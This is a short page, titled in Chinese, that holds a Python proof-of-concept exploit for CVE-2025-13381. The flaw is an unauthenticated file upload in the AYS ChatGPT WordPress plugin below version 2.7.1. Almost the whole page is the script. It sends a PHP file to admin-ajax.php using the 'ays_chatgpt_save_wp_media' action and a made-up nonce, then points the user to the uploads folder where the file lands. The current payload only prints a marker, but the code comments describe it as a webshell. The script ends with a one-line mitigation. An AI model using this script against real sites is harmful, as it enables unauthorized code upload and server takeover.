CVE-2025-13381 WordPress AYS ChatGPT插件未授权文件上传漏洞

import requests import sys ''' CVE-2025-13381 PoC - Unauthenticated File Upload AI ChatBot with ChatGPT and Content Generator by AYS plugin < 2.7.1 Discovered by: Wordfence Threat Intelligence Team ''' target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # Step 1: Upload malicious file via vulnerable endpoint upload_url = f'{target_url}/wp-admin/admin-ajax.php' # Create a simple PHP webshell or test file files = { 'file': ('malicious.php', '<?php echo "VULNERABLE"; ?>', 'application/octet-stream') } data = { 'action': 'ays_chatgpt_save_wp_media', 'ays_chatgpt_nonce': 'any_value' # Nonce not validated for unauthenticated users } print(f'[*] Attempting to upload file to {target_url}') print(f'[*] Target endpoint: {upload_url}') try: response = requests.post(upload_url, data=data, files=files, timeout=30) print(f'[*] Response Status: {response.status_code}') print(f'[*] Response Body: {response.text}') # Check for successful upload indicators if response.status_code == 200: print('[+] Request completed - check response for upload path') print('[+] If file uploaded successfully, access it via wp-content/uploads/') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') print('\n[*] Mitigation: Upgrade to version 2.7.1 or later')